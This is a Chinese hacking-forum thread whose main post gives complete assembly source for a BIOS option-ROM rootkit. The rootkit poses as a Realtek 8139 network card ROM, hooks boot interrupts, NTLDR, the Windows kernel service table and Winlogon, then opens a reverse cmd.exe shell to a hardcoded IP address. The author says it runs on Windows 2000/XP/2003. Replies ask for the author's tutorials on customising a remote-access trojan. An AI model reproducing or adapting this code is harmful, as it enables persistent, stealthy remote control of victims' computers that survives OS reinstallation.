找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1716|回复: 2

BIOS中隐藏Telnet后门

[复制链接]

105

主题

261

回帖

559

牛毛

论坛管理员

自由人

积分
1447
QQ
发表于 2009-5-19 00:19:07 | 显示全部楼层 |阅读模式
[项目简述]
     该项目仅为实验性项目,目的是学习国外技术。该项目主要目的是想隐藏一个Telnet后门
在主板的BIOS内,并让其随着计算机系统及操作系统成功的运行起来。运行后能反向Telnet连
接到指定的计算机接受CMD控制。



[项目涉及的相关知识及技术标题]
    1、实验环境配置问题。
    2、刷新BIOS技术问题。
    3、代码植入BIOS问题。
    4、源代码的相关问题:
       A、如何编写BIOS模块如:PCI、ISA。
       B、实模式关于HOOK磁盘中断的问题。
       C、磁盘中断中选择再次HOOK的问题。
       D、NT保护模式下设置物理地址映射。
       E、NT保护模式下线性地址寻址问题。
       F、HOOK KeAddSystemServiceTable。
       G、HOOK NtUserRegisterClassExWOW。
       H、HOOK Winlogon SASWndProc过程。
       I、在SASWndProc收到WM_CREATE消息建立线程运行Telnet Shell Code。
    5、源代码的其他技术:
       A、IVThook InLineHook  SSDT Hook
       B、SEH  PE  PEB  TIB
       C、Hash SharedUserData CheckSum
    6、......

   文章内容会在朋友的网站(51cto)上发布,文章还未整理好,相关的工具及相关的源代码会在以后整理发布.

   以下源代码采用编辑工具MASMPlus,直接拷贝到这里可能有格式上的问题,做了简单的调整!

   调试了几台我这儿的计算机,以网卡8139PCI模块加入BIOS刷入芯片,在调试计算机上安装

   win2k/xp/2003及操作系统运行后,以下源代码都能正常的反向连接到我指定的计算机上.

  1. .586p ;编译工具:ML /AT *.asm ML(masm)版本6.11,BIOS中隐藏Telnet后门.
  2. .Model Tiny ;作者:成松林,QQ:179641795,Emil:cheng_5103@126.com.实现源代码.
  3. ;*****************************************************************************************************************************************ROM_IMAGE_SIZE equ 4 ;整个模块大小单位KB,固定大小4KB.
  4. CSL_KERNEL_DEST equ 0FFDF0800h ;SharedUserData数据结构线性地址.
  5. CSL_USER_BACKDOOR equ 07FFE0800h ;SharedUserData数据结构线性地址.
  6. ;*****************************************************************************************************************************************RealCode segment use16
  7. Code16Start:
  8. ;***************************************************************************************************************************************** org 00h ;####注意:置代码开始地址以便于确定定置.####,****设置开始偏移:000h****
  9. dw 0AA55h ;####注意:ROM头格式标识可以生气独立ROM.####,****标识开始偏移:000h****
  10. db ROM_IMAGE_SIZE*2 ;####注意:ROM长度(单位:512B,块)最小8块.####,****长度开始偏移:002h****
  11. jmp MyROMCodeStart ;####注意:修改ROM模拟跳转指令到这里执行####,****指令开始偏移:003h****
  12. org 06h ;####注意:编译器根据偏移长度选择JMP命令####,****JMP[rel16]长:003h****
  13. ReturnOldROM: ;####注意:把数据放在头部以便于确定位置.####,****标识开始偏移:006h****
  14. db 0e9h,0,0 ;####注意:执行完跳转到旧的ROM代码跳转处####,****指令数据偏移:007h****
  15. db 'CHKSUM=',0 ;####注意:填写我们修改后的ROM数据检验和####,****数据偏移地址:010h****
  16. ;***************************************************************************************************************************************** org 18h ;编译成支持PCI设备的模块:PCI ROM固定大小4KB,其他参看"PCI 2.2规范"教程
  17. dd 34001ch,52494350h,813910ech,180000h,200h,2010008h,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0;硬件realtek PCI8139网卡
  18. ;*****************************************************************************************************************************************MyROMCodeStart:
  19. pushf
  20. pushad
  21. push es
  22. push ds

  23. sti ;打开中断,以便接收键盘输入.
  24. mov cx,0ffffh ;等待,约为两二秒的按键消息.
  25. call WaitPressScrollKey
  26. .if !CARRY? ;若按下Scroll Lock键,不运行我们的程序.
  27. ;***************************************************************************************************************************************** xor ax,ax
  28. mov es,ax
  29. mov eax,es:[19h*4]
  30. mov es:[84h*4],eax ;借用中断向量84H,保存中断向量19H.

  31. mov bx,es:[413h] ;40:13,BIOS数据区保存常规的内存大小,单位:KBs.
  32. and bl,NOT 3 ;注意:要求分配的物理内存地址,以页作为基地址 .
  33. sub bx,4
  34. mov es:[413h],bx
  35. shl bx,(10-4) ;bx *= 1024 / 16 (KBs->线性地址=KBs*1024,段:除以16)
  36. mov es,bx
  37. xor di,di ;es:di -> 分配的实模式高端内存前半部分开始处.

  38. push cs
  39. pop ds
  40. call GetCurrentAddr ;offset Code16End = offset Code32Start
  41. GetCurrentAddr:
  42. pop si ;si->GetCurrentAddr在内存的地址
  43. mov dx,si

  44. add si,Code16End - GetCurrentAddr ;ds:si->Code16End保护模式代码段内存的地址.
  45. cld
  46. mov cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4 ;拷贝保护模式代码数据到分配内存的前半部分.
  47. rep movsd

  48. add bx,100h
  49. mov es,bx
  50. xor di,di ;es:0->分配的实模式高端内存后半部分开始处.
  51. mov si,dx
  52. sub si,GetCurrentAddr - Code16Start ;ds:si->Code16Start实模式代码的内存的地址.
  53. mov cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4 ;拷贝 实模式代码数据到分配内存的后半部分.
  54. rep movsd

  55. xor bx,bx
  56. mov ds,bx
  57. add dx,NewINT19H - GetCurrentAddr ;dx->NewINT19H内存的地址
  58. mov ds:[19h*4],dx
  59. mov ds:[(19h*4) + 2],es ;设置成我们的INT19H服务代码
  60. ;***************************************************************************************************************************************** .endif
  61. pop ds
  62. pop es
  63. popad
  64. popf
  65. ;jmp ReturnOldROM ;跳转到原来的ROM代码的跳转处执行
  66. retf
  67. ;*****************************************************************************************************************************************WaitPressScrollKey: ;函数入口:CX=350约为10ms, 函数延时: 33(us)
  68. push ax
  69. .repeat
  70. in al,60h
  71. .if al == 46h ;Scroll Lock键扫描码:46h
  72. stc
  73. pop ax
  74. ret
  75. .endif
  76. in al,61h
  77. test al,010h
  78. .continue .if !ZERO?
  79. .repeat
  80. in al,61h
  81. test al,10h
  82. .until !ZERO?
  83. dec cx
  84. .until cx == 0
  85. clc
  86. pop ax
  87. ret
  88. ;*****************************************************************************************************************************************NewINT19H:
  89. pushf
  90. ;cli
  91. push eax
  92. push es
  93. ;jmp $ ;bochs调试1#.
  94. xor ax,ax
  95. mov es,ax
  96. mov eax,es:[84h*4]
  97. mov es:[19h*4],eax ;恢复中断向量19H值.
  98. mov eax,es:[13h*4]
  99. .if es:[85h*4] != eax
  100. mov es:[85h*4],eax ;借用中断向量85H,保存中断向量13H.reserved for BASIC 82h~85h
  101. mov word ptr es:[13h*4],NewINT13H ;设置NewINT13H在内存的地址.
  102. mov es:[(13h*4) + 2],cs ;设置成我们的INT13H服务代码
  103. .endif

  104. pop es
  105. pop eax
  106. popf ;恢复现场
  107. int 84h ;调用旧的中断向量19H.
  108. iret
  109. ;*****************************************************************************************************************************************NewINT13H:
  110. pushf ;有指令要改变标志寄存器值.
  111. test ah, 0bdh ;是不是读数据到内存?ah=02,ah=42h.
  112. .if !ZERO? ;ZF=0
  113. popf
  114. int 85h ;调用旧的中断向量13H.
  115. iret
  116. .endif
  117. mov word ptr cs:[INT13LASTFUNCTION],ax
  118. popf


  119. int 85h ;调用旧的中断向量13H.
  120. .if CARRY? ;CF=1,读失败退出服务
  121. iret
  122. .endif

  123. pushf
  124. ;cli
  125. push es
  126. pushad
  127. ;jmp $ ;bochs调试2#.可输入指令:u cs:ip + 2.观察INT13LASTFUNCTION的值.
  128. mov ax,00h
  129. INT13LASTFUNCTION EQU $-2
  130. .if ah == 42h
  131. lodsw
  132. lodsw ;参看"扩展INT13H规范"ds:[si + 2]指传输块数.
  133. les bx,[si] ;ds:[si + 04h]表示: 传输用的缓冲区内存地址.
  134. .endif
  135. .if al != 00h
  136. xor cx,cx
  137. mov cl,al
  138. mov al,8Bh ;设置搜索标志的第一个字节.
  139. shl cx,9 ;(CX * 200h) 搜索搜索计数.
  140. mov di,bx ;8B F0 85 F6 74 21 80 3D:MOV ESI,EAX TEST ESI,ESI JZ $+23h CMP BYTE PTR [ofs32], imm8
  141. cld ;NTLDR OSLoder模块里的6字节做为标志,进行HOOK.注意:选择HOOK位置很关键!
  142. .while 1
  143. repne scasb
  144. .break .if !ZERO?
  145. .continue .if dword ptr es:[di] != 74F685F0h
  146. .continue .if word ptr es:[di+4] != 8021h
  147. ;(es:di - 1)->我们想被HOOK的指令代码开始处.

  148. ;mov byte ptr es:[di-8],0ebh ;jmp $指令十六进制值0xebfe,设置在NTLDR暂停.
  149. ;mov byte ptr es:[di-7],0feh
  150. ;设置在NTLDR被HOOK指令处暂停:指令地址[0x31adf1]8:31adf1,注意:INT13H服务中读取NTLDR数据,
  151. ;检测HOOK标识代码后,设置HOOK时用的指令及计算指令地址.因为NTLDR数据会被搬移到内存高端处.

  152. xor eax,eax
  153. mov ax,cs
  154. sub ax,100h ;ax->保护模式代码段
  155. mov bx,ax
  156. shl eax,4 ;eax->保护模式代码段在内存的物理地址.

  157. mov word ptr es:[di-1],15ffh ;##FFh/15h:使用CALL NEAR [OFS32]指令进行NTLDR HOOK##
  158. mov es:[di+1],eax ;##设置CALL NEAR [OFS32]指令跳转地址,指令占6个字节##
  159. ;通过上面获取NTLDR被HOOK处的运行地址:0x31adf1,用bochs调试暂停b 0x31adf1,观察我们的HOOK方式对否?.
  160. mov es,bx
  161. or es:[(KEASSTHOOK_PTE - Code32Start)],eax
  162. add eax,4 ;eax->NTLDRCallAddr + 4,设置成我们的32位代码开始处执行.
  163. mov dword ptr es:[0],eax ;es:[0]->保护模式段内变量NTLDRCallAddr所在内存虚拟地址.
  164. ;jmp $ ;bochs调试3#可用xp es:di - 1观察HOOK情况及r显示寄存器.
  165. .endw
  166. .endif
  167. popad
  168. pop es
  169. popf
  170. iret
  171. ;*****************************************************************************************************************************************Code16End: ;offset Code32Start = offset Code16End
  172. RealCode ends
  173. ;*****************************************************************************************************************************************ProtectCode segment byte use32 ;##########可工作在32位保护模式的代码#########
  174. Code32Start: ;offset NTLDRCallAddr = offset Code32Start = offset Code16End
  175. NTLDRCallAddr dd ?

  176. ;jmp $ ;bochs调试4#,参看在NewINT13H调试为什么没运行到这里?
  177. pushfd ;esp = esp + 04h
  178. pushad ;esp = esp + 20h
  179. ;扫描获取模块表基址(_BlLoaderData) 参看"NTLDR分析及源代码".
  180. mov edi,[esp + 20h + 04h] ;edi->OSLOADER内部.
  181. and edi,NOT 000FFFFFh ;转换为镜像基地址 .
  182. cld
  183. mov al,0c7h ;C7h/46h/34h/00h/40h/00h/00h: MOV DWORD PTR [ESI+34h], 4000h
  184. .while 1
  185. scasb
  186. .if ZERO?
  187. .break .if dword ptr [edi] == 40003446h
  188. .endif
  189. .endw
  190. mov al,0A1H ;A1h/xx/xx/xx/xx: MOV EAX, [xxxxxxxx]
  191. .while 1
  192. scasb
  193. .break .if ZERO?
  194. .endw
  195. mov esi,[edi] ;esi->模块链表的开始基地址 .
  196. mov esi,[esi] ;esi->模块链表中的第一个节点.
  197. lodsd
  198. mov ebx,[eax+18h] ;EBX = NTOSKRNL.EXE 在内存镜像的基地址.
  199. ;注意:这里不能直接调用NTOSKRNL导出函数.
  200. ;jmp $
  201. ;***************************************************************************************************************************************** call PatchFunction_OverHookFunc ;跳转到KeASSTHook后面执行,安装HOOK问题.

  202. KeASSTHook: ;HOOK KeAddSystemServiceTable 该函数.
  203. ;lb 0x804c3bc6
  204. sub dword ptr [esp],5 ;修正ret指令返回地址为被HOOK函数开始处.
  205. pushad ;保护KeAddSystemServiceTable函数的现场.

  206. mov eax,00000001h ;KEASSTHOOK_PTE:保护模式代码的内存地址.
  207. KEASSTHOOK_PTE EQU $-4
  208. xor ecx,ecx
  209. mov ch,((Code32End - Code32Start) + 100h) / 100h ;注意:代码小于2k,以便放在用户数据空间 .
  210. mov edx,0C0000000h ;edx->4MB页目录表中的第一个二级页表项 .
  211. xor esi,esi ;esi->我们的代码开始地址,以页为基地址 .
  212. mov edi,CSL_KERNEL_DEST ;拷贝代码到SharedUserData数据空间中去 .
  213. xchg [edx],eax ;映射我们代码的物理地址到线性地址00000.
  214. wbinvd
  215. rep movsb ;SharedUserData 空间参看其他相关的教程.
  216. mov [edx],eax ;恢复线性地址00000000原来的映射物理页 .
  217. wbinvd ;bochs调试6#:NTOSKRNL.EXE镜像基址 + 64.

  218. ;保存被HOOK代码数据在堆栈中,后面恢复用.
  219. db 6Ah,0 ;6Ah/xx: PUSH simm8
  220. KEASSTHOOK_DISPLACED4 EQU $-1
  221. pushd 0
  222. KEASSTHOOK_DISPLACED0 EQU $-4
  223. ;bochs调试8#:lb 0xffdf08a4映射地址之后.
  224. push (CSL_KERNEL_DEST + (MyKeAddSystemServiceTable - Code32Start))
  225. ret ;跳转到MyKeAddSystemServiceTable函数处.
  226. ;*****************************************************************************************************************************************PatchFunction_OverHookFunc: ;KeAddSystemServiceTable HOOK 问题处理.

  227. pop esi ;esi->KeASSTHook 函数在内存的实际地址 .
  228. mov ecx,PatchFunction_OverHookFunc - KeASSTHook ;ecx = KeASSTHook 代码的长度,准备移动 .
  229. ;处理代码中的寻址问题,将KeASSTHook代码.
  230. lea edi,[ebx+40h] ;搬移到NTOSKRNL DOS MZ和PE头之间去执行.
  231. ;jmp $ ;bochs调试5#,lb edi下一步运行在edi的值.
  232. mov ebp, edi ;ebp用于后面HOOK时计算CALL rel 偏移用 .
  233. rep movsb ;指令:edi->PatchFunction_OverHookFunc .

  234. mov edx,0A21CD4EEh ;"KeAddSystemServiceTable",0 ->HASH值.
  235. call PEApiHashFind ;在NTOSKRNL模块中查找该函数以便HOOK用..
  236. ;jmp $ ;bochs调试7#可以用到调试HOOK函数lb eax.
  237. xchg esi,eax ;指令:esi->KeAddSystemServiceTable函数.

  238. sub edi,PatchFunction_OverHookFunc - KEASSTHOOK_DISPLACED0
  239. movsd ;InLine HOOK方式:保存被HOOK的代码数据 .
  240. sub edi,KEASSTHOOK_DISPLACED0 + 4 - KEASSTHOOK_DISPLACED4
  241. movsb

  242. mov byte ptr [esi-5],0e8h ;E8h/xx/xx/xx/xx:CALL rel 相关地址指令.
  243. sub ebp,esi ;调试例如:bochs调试5#edi lb 0x80400040.
  244. mov dword ptr [esi-4],ebp ;call KeASSTHook,调试断点bochs调试5#处.

  245. popad
  246. popfd
  247. ;***************************************************************************************************************************************** ;模拟InLineHOOK NTLDR中的指令,并返回去.
  248. mov esi,eax
  249. test eax,eax
  250. jnz short @F
  251. pushfd
  252. add dword ptr [esp+4],21h
  253. popfd
  254. @@:
  255. ret
  256. ;*****************************************************************************************************************************************MyKeAddSystemServiceTable: ;bochs调试8#:开始是多任务JMP $断点很慢.
  257. ;首先关闭HOOK NTOSKRNL.EXE!KeAddSystemServiceTable
  258. mov ebp,esp ;bochs调试8#:lb 0xffdf08a4 u /50 查看.
  259. mov edi,[ebp+8+20h] ;edi->KeAddSystemServiceTable 函数入口.

  260. mov ecx,cr0
  261. mov edx,ecx
  262. and ecx,NOT 00010000h
  263. mov cr0,ecx ;CR0.WP关闭页保护功能,以便对当前页修改.

  264. pop eax ;恢复KeAddSystemServiceTable HOOK 数据.
  265. stosd
  266. pop eax
  267. stosb

  268. mov cr0,edx ;恢复 CR0.WP位到原来的状态 .
  269. ;***************************************************************************************************************************************** mov esi,[ebp+8+28h] ;esi->_W32pServiceTable 服务描述表.
  270. mov ecx,[ebp+8+30h] ;ecx: 服务的数目.
  271. mov edi,[ebp+8+34h] ;edi:_W32pArgumentTable 服务参数表.
  272. ;具体参看"SSDT HOOK教程" ,讲解如何HOOK.
  273. .while ecx > 0 ;HOOK win32k!NtUserRegisterClassExWOW .
  274. lodsd
  275. .if byte ptr [edi] == 10h ;NtUserRegisterHotKey has 4 arguments .
  276. mov edx,20h
  277. .while edx > 0
  278. .if byte ptr [eax] == 0f7h ;F7h/0: TEST mem, imm
  279. mov ebx,4 ;search EAX+4..1 for bit mask of prohibited 'fsModifiers' flags
  280. .while ebx > 0
  281. .if dword ptr [eax + ebx] == 0FFFF7FF0h
  282. inc edi
  283. .while 1 ;NtUserRegisterClassExWOW will have 6 or 7 arguments
  284. sub esi,4
  285. dec edi
  286. .if byte ptr [edi] >= 18h
  287. mov eax,[esi]
  288. ;bochs调试9#:JMP $指令断点,在多线程下很慢,尽量采用断点命令.lb 0xffdf08f7
  289. mov edi,(CSL_KERNEL_DEST + (MyNtUserRegisterClassExWOW-Code32Start))
  290. mov [edi + (NTURCEWOW_ORIGINAL - MyNtUserRegisterClassExWOW)],eax
  291. mov [esi],edi
  292. jmp @F
  293. .endif
  294. .endw
  295. .endif
  296. dec ebx
  297. .endw
  298. .endif
  299. inc eax
  300. dec edx
  301. .endw
  302. .endif
  303. inc edi
  304. dec ecx
  305. .endw
  306. @@:
  307. ;***************************************************************************************************************************************** popad ;恢复KeAddSystemServiceTable函数的现场.
  308. ret ;返回KeAddSystemServiceTable函数去执行.
  309. ;*****************************************************************************************************************************************MyNtUserRegisterClassExWOW: ;win32k!NtUserRegisterClassExWOW HOOK .

  310. pushad ;bochs调试10#:lb 0xffdf091e 调试9#获取.
  311. ;使用bochs调试命令:x esp u /50 eip.
  312. xor eax,eax

  313. push (CSL_KERNEL_DEST + (MyNtUserRegisterClassExWOW_SEH - Code32Start))
  314. push dword ptr fs:[eax] ;在堆栈建立异常结构
  315. mov dword ptr fs:[eax],esp ;安装我们的异常处理,####调试发现安装的异常处理有时不能工作.####

  316. ;通过传来的参数检查类名是L"SAS window class" ,替换其'lpfnWndProc'过程,具体参看"win32应用程序窗口消息原理".
  317. mov ebp,ds:[7FFE02B4h] ;EBP = MmHighestUserAddress
  318. mov edx,[esp + 8 + 28h] ;edx->窗口类名,格式PUNICODE_STRING.
  319. .if edx <= ebp
  320. .if word ptr [edx] == 16*2 ;size of L"SAS window class" 检查字符数对不?
  321. mov esi,[edx + 4]
  322. .if esi <= ebp
  323. mov ecx,16 ;
  324. mov edx,72ABEC2Dh ;72ABEC2Dh <-- HASH("SAS window class")
  325. @@:
  326. lodsw
  327. sub edx,eax
  328. ror edx,7
  329. loop @B
  330. .if edx == 0 ;替换窗口过程,前保存旧的过程在PEB中
  331. mov esi,[esp + 8 +24h];esi->WNDCLASSEXW 类结构.
  332. .if esi <= ebp
  333. mov ecx,fs:[edx + 18h] ;ecx->用户TIB,线程信息块存放线程信息.
  334. mov ecx,[ecx +30h] ;ecx-> PEB,进程环境块存放进程信息.
  335. .if ecx <= ebp ;bochs调试11#:lb 0xffdf0971
  336. mov eax,(CSL_USER_BACKDOOR + (MySASWndProc - Code32Start))
  337. xchg dword ptr [esi + 8],eax ;替换'lpfnWndProc'过程,为我们的过程.
  338. mov [ecx + 0eb0h],eax ;PEB->0EB0h = 旧的'lpfnWndProc' (保存旧的SASWndProc)
  339. .endif
  340. .endif
  341. .endif
  342. .endif
  343. .endif
  344. .endif

  345. ;*****************************************************************************************************************************************NTURCEWOW_Done: ;bochs调试11#:lb 0xffdf097f
  346. xor eax,eax
  347. pop dword ptr fs:[eax] ;移除堆栈的异常结构
  348. pop ecx ;移除我们的异常处理
  349. popad
  350. pushd 0
  351. NTURCEWOW_ORIGINAL EQU $-4
  352. ret ;返回NtUserRegisterClassExWOWHook执行.
  353. ;*****************************************************************************************************************************************MyNtUserRegisterClassExWOW_SEH: ;注意:安装异常参看"win32应用程序设计".
  354. xor eax,eax ;lb 0xffdf098c 调试异常:兼容不很稳定 .

  355. cdq ;CDQ常用于除法运算之前调整EDX值.作用只是把EDX的所有位都设成EAX最高位的值.
  356. mov dl,0B8h
  357. add edx,[esp + 0Ch] ;[esp + c]->Context.传过来的参数.
  358. ;Context->Eip
  359. mov dword ptr [edx],(CSL_KERNEL_DEST + (NTURCEWOW_Done - Code32Start))
  360. ret
  361. ;*****************************************************************************************************************************************MySASWndProc: ;bochs调试12#: 程序现已运行在应用层下.
  362. ;lb 0x7ffe099c
  363. push eax ;eax:旧的SASWndProc地址,返回方法:popad ret.
  364. pushad

  365. xor eax,eax
  366. mov edx,fs:[eax+30h] ;ptr to PEB

  367. mov eax,[edx+0EB0h] ;original SASWndProc address
  368. mov [esp+20h],eax

  369. mov eax,[esp+2Ch] ;get 'uMsg' argument
  370. .if eax == 0001h ;WM_CREATE
  371. mov eax,[edx+0Ch] ;ptr to loader data
  372. mov ecx,[eax+1Ch] ;ptr to first module in initialization-order list

  373. .repeat
  374. mov ebx,[ecx+8] ;module image base
  375. mov esi,[ecx+20h] ;ptr to module file name
  376. mov ecx,[ecx] ;ptr to next module
  377. lodsb
  378. or al,20h
  379. .until al == 'k' ;assume KERNEL32.DLL will be first module starting with 'K'
  380. ;EBX = KERNEL32 镜像基址 bochs调试13#:lb 0x7ffe09cc
  381. ;mov edi,(CSL_USER_BACKDOOR + (PEApiHashFind - Code32Start))
  382. push ebx ;ebx:dwThreadID 变量使用堆栈.
  383. push esp ;push addr dwThreadID
  384. push 0
  385. push 0
  386. push (CSL_USER_BACKDOOR + (TelnetShell - Code32Start))
  387. push 0
  388. push 0
  389. mov edx,3f1764e5h ;hash("CreateThread")=3f1764e5h
  390. call PEApiHashFind ;call edi 是否需要这样调用?
  391. call eax ;invoke CreateThread,NULL,0,offset TelnetShell,NULL,NULL,addr dwThreadID
  392. pop ebx ;ebx:dwThreadID 去掉变量使用.
  393. .endif
  394. popad
  395. ret ;invoke original SASWndProc
  396. ;*****************************************************************************************************************************************TelnetShell: ;可用于安装在win2k/xp/2003 反向连接Telnet后门应用程序.
  397. xor eax,eax ;bochs调试14#:lb 0x7ffe09f0
  398. mov edx,fs:[eax+30h] ;ptr to PEB
  399. mov eax,[edx+0Ch] ;ptr to loader data
  400. mov ecx,[eax+1Ch] ;ptr to first module in initialization-order list

  401. .repeat
  402. mov ebx,[ecx+8] ;module image base
  403. mov esi,[ecx+20h] ;ptr to module file name
  404. mov ecx,[ecx] ;ptr to next module
  405. lodsb
  406. or al,20h
  407. .until al == 'k' ;assume KERNEL32.DLL will be first module starting with 'K'
  408. ;EBX = KERNEL32 image base
  409. mov edi,ebx ;edi = kernel32基址 bochs调试15#:lb 0x7ffe0a05
  410. TelnetShell_Strat:
  411. mov ebp,esp ;bochs调试15#:lb 0x7ffe0a07

  412. push 00003233h
  413. push 5f325357h ;esp->"WS2_32"
  414. push esp
  415. mov edx,2e864192h ;Hash("LoadLibraryA")=2e864192h
  416. call PEApiHashFind
  417. call eax ;LoadLibraryA(&WS2_32DLL)返回EAX=装载DLL基址.
  418. mov ebx,eax ;ebx=WS2_32基址

  419. sub esp,1ech ;WSADATA struct
  420. push esp ;esp->WSADATA struct
  421. push 202h ;VersionRequested 0x202h
  422. mov edx,0c05a351eh ;Hash("WSAStartup")=0c05a351eh
  423. call PEApiHashFind
  424. call eax ;WSAStartup(0x101, &WSADATA)

  425. push 0
  426. push 0
  427. push 0
  428. push 6 ;IPPROTO_TCP=6 IPPROTO_UDP=17
  429. push 1 ;SOCK_STREAM=1 SOCK_DGRAM=2
  430. push 2 ;AF_INET=2
  431. mov edx,0ef3c1916h ;Hash("WSASocketA")=0ef3c1916h
  432. call PEApiHashFind
  433. call eax ;s=WSASocketA(2,1,6,0,0,0)
  434. mov esi,eax ;esi=socket s

  435. push 0265359dah ;sockaddr_in.sin_addr;192.168.100.111(06f64a8c0h)
  436. push 0feff0002h ;0x02=AF_INET(sin_family);0xfffe=65534(sin_port)

  437. ;.repeat
  438. mov edx,esp
  439. push 10h ;sizeof(sockaddr_in)
  440. push edx ;esp->sockaddr_in struct
  441. push esi ;socket s
  442. mov edx,5ddd8b01h ;Hash("connect")=5ddd8b01h
  443. ;mov ebx,edi ;ebx=kernel32基址
  444. call PEApiHashFind
  445. call eax ;IPPROTO_TCP c=connect(s, &address, sizeof(address))
  446. ;.until eax == 0 ;连接成功
  447. mov ebx,edi ;ebx=kernel32基址
  448. .if eax != 0
  449. push 60000
  450. mov edx,0cb9765ah ;Hash("Sleep")=0cb9765ah
  451. call PEApiHashFind
  452. call eax ;invoke Sleep,60000
  453. mov esp,ebp
  454. mov ebx,edi ;ebx=kernel32基址
  455. jmp TelnetShell_Strat ;for another connection
  456. ;ret
  457. .endif

  458. push 646d63h ;winNT(cmd.exe)
  459. mov edx,esp ;edx->file name

  460. push esi ;STARTUPINFOA.hStdError
  461. push esi ;STARTUPINFOA.hStdOutput
  462. push esi ;STARTUPINFOA.hStdInput

  463. push 0
  464. push 0 ;wShowWindow cbReserved2
  465. push 101h ;STARTUPINFO.dwFlags

  466. mov ecx,0fh
  467. @@:
  468. push 0 ;STARTUPINFOA.cb ~ STARTUPINFOA.dwFillAttribute
  469. loop @B

  470. lea ecx,[esp+10h] ;ecx->STARTUPINFOA.cb
  471. mov dword ptr [ecx],44h ;STARTUPINFOA.CB=44h(len STARTUPINFOA)

  472. push esp ;esp->PROCESS_INFORMATION STRUCT(all 0)
  473. push ecx ;ecx->STARTUPINFOA STRUCT
  474. push 0
  475. push 0
  476. push 0
  477. push 1
  478. push 0
  479. push 0
  480. push edx
  481. push 0
  482. mov edx,4b5d35e6h ;Hash("CreateProcessA")=4b5d35e6h
  483. call PEApiHashFind
  484. call eax ;CreateProcessA(0, Addr"cmd.exe",0,0,1,0,0,0,si, pi)

  485. pop ecx ;PROCESS_INFORMATION.hProcess

  486. push -1 ;time -1
  487. push ecx
  488. mov edx,8885abf2h ;Hash("WaitForSingleObject")=8885abf2h
  489. call PEApiHashFind
  490. call eax ;WaitForSingleObject(Handle, time)
  491. mov esp,ebp
  492. mov ebx,edi ;ebx=kernel32基址
  493. jmp TelnetShell_Strat ;for another connection
  494. ;ret
  495. ;*****************************************************************************************************************************************PEApiHashFind: ;入口:EBX=镜像基址 EDX=HASH32值 出口:eax=Api 地址,0表示未找到.
  496. xor eax,eax
  497. pushad
  498. mov ecx,[ebx+3Ch] ;ecx = RVA of PE header
  499. mov ebp,[ebx+ecx+78h] ;ebp = RVA of export directory
  500. add ebp,ebx ;ebp -> ptr to export directory
  501. mov ecx,[ebp+18h] ;ecx = IMAGE_EXPORT_DIRECTORY::NumberOfNames
  502. mov edi,[ebp+20h] ;edi -> IMAGE_EXPORT_DIRECTORY::AddressOfNames
  503. add edi,ebx
  504. .while ecx > 0
  505. dec ecx
  506. mov esi,[edi+ecx*4]
  507. add esi,ebx ;esi->API字符串在内存物理地址.

  508. push edx
  509. .repeat
  510. lodsb
  511. sub edx,eax
  512. ror edx,7
  513. .until eax == 0 ;字符结束
  514. .if edx == 0
  515. pop edx
  516. .break
  517. .endif
  518. pop edx
  519. .endw
  520. .if ecx > 0
  521. mov edx,[ebp+024h]
  522. add edx,ebx ;AddressofOrdinals
  523. mov cx,[edx+ecx*2]
  524. mov eax,[ebp+01ch]
  525. add eax,ebx ;AddressOfFunctions
  526. add ebx,[eax+ecx*4]
  527. mov [esp+1Ch], ebx ;overwrite saved EAX with ptr to export
  528. .endif
  529. popad
  530. ret
  531. ;*****************************************************************************************************************************************Code32End: ;感谢: eEye RootKit RomOS开源项目,国外的技术我们永远学不完.
  532. ProtectCode ends ;有不正确的地方,成松林很高兴各位指出这样我才会学到更多知识.
  533. end Code16Start
复制代码

16

主题

31

回帖

47

牛毛

初生牛犊

积分
47
发表于 2009-5-20 04:48:53 | 显示全部楼层 来自 安徽省合肥市
······好久没看见雪风哥发贴了,难得呀,我在论坛找雪风大哥以前的教程,好多都是以前博客去下载的,但那个博客似乎不存在了,所以我求雪风哥以前发布过的教程,比如修改鸽子那个14课,我在论坛里面找了好久才找到了6课,是只出了6课还是什么原因我不清楚,还有就是那个修改鸽子为专用上线教程,我不想自己的DAT被别人拿去乱用,你的那个博客我去了,但好像已经不存在,打不开了,哪么多经典的教程就那样付之东流了,好可惜,所以在这里,我求雪风大哥以前发布过的所有教程,只要是你出的,不管什么,我都要,希望雪风大哥给个下载地址谢谢,黑狼和雪风我是永远支持的@!!!!!我的邮箱:kofzjf@tom.com

8

主题

186

回帖

532

牛毛

一级牛人

积分
532
发表于 2009-5-20 14:50:00 | 显示全部楼层 来自 安徽省淮南市
呵呵!我也想要啊!
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-28 22:51 , Processed in 0.205664 second(s), 45 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表